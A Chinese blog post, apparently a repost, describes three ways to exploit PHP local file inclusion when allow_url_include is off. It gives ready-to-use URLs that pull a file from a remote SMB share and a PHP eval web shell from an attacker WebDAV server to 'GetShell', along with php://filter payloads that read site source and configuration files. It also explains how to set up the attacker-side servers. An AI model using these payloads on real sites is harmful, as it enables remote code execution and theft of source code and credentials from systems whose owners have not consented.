分享几个当allow_url_include = Off时的文件包含漏洞的绕过方法。
假设服务端的php代码(aaa.php)如下图所示:
第1种:smb协议
Payload:http://127.0.0.1/aaa.php?path=\\43.5*.**.74\ica\abc1238.htm
这种方法只适用于Windows类型的网站服务器,不能用于Linux服务器。
首先在VPS上搭建Samba服务,然后添加一个无需认证即可访问的共享目录,配置信息如下图所示:
然后在/home/share目录创建abc1238.htm文件,文件内容为:<?php phpinfo();?>
最后启动Samba服务,访问http://127.0.0.1/aaa.php?path=\\43.5*.**.74\ica\abc1238.htm即可绕过allow_url_include = Off的限制GetShell。
第2种:WebDAV
Payload:http://127.0.0.1/aaa.php?path=\\36.*8.**.74\webdav\code.htm&cmd=phpinfo();
这种方法只适用于Windows类型的网站服务器,不能用于Linux服务器。
首先在VPS上搭建WebDAV环境,我是基于Ubuntu+Apache httpd搭建的WebDAV环境。
然后在WebDAV目录下创建code.htm文件,文件内容为:<?php eval($_GET[‘cmd‘]);?>
最后启动Apache httpd服务器,访问http://127.0.0.1/aaa.php?path=\\36.*8.**.74\webdav\code.htm&cmd=phpinfo();即可绕过allow_url_include = Off的限制GetShell。
第3种:php://filter/
利用php://filter/不能直接GetShell,但可以读取网站php代码文件,然后进行代码分析。或读取网站配置文件等其他重要文件。
Payload:
http://127.0.0.1/aaa.php?path=php://filter/read=convert.base64-encode/resource=D:/phpStudy/WWW/index.php
http://192.168.56.130/aaa.php?path=php://filter/read=convert.base64-encode/resource=/var/www/html/index.php
执行上述Payload会将D:/phpStudy/WWW/drupal-7.54/index.php文件以base64编码形式返回。
这种方法在Linux和Windows服务器都可以。
这几种绕过方法都是从大佬那里偷师学艺学来的,附带参考链接:
https://helpcenter.onlyoffice.com/server/community/connect-webdav-server-ubuntu.aspx
https://www.cnblogs.com/iamstudy/articles/include_file.html
https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/
https://www.leavesongs.com/PENETRATION/php-filter-magic.html
http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html
原文地址:https://www.cnblogs.com/dgjnszf/p/10956884.html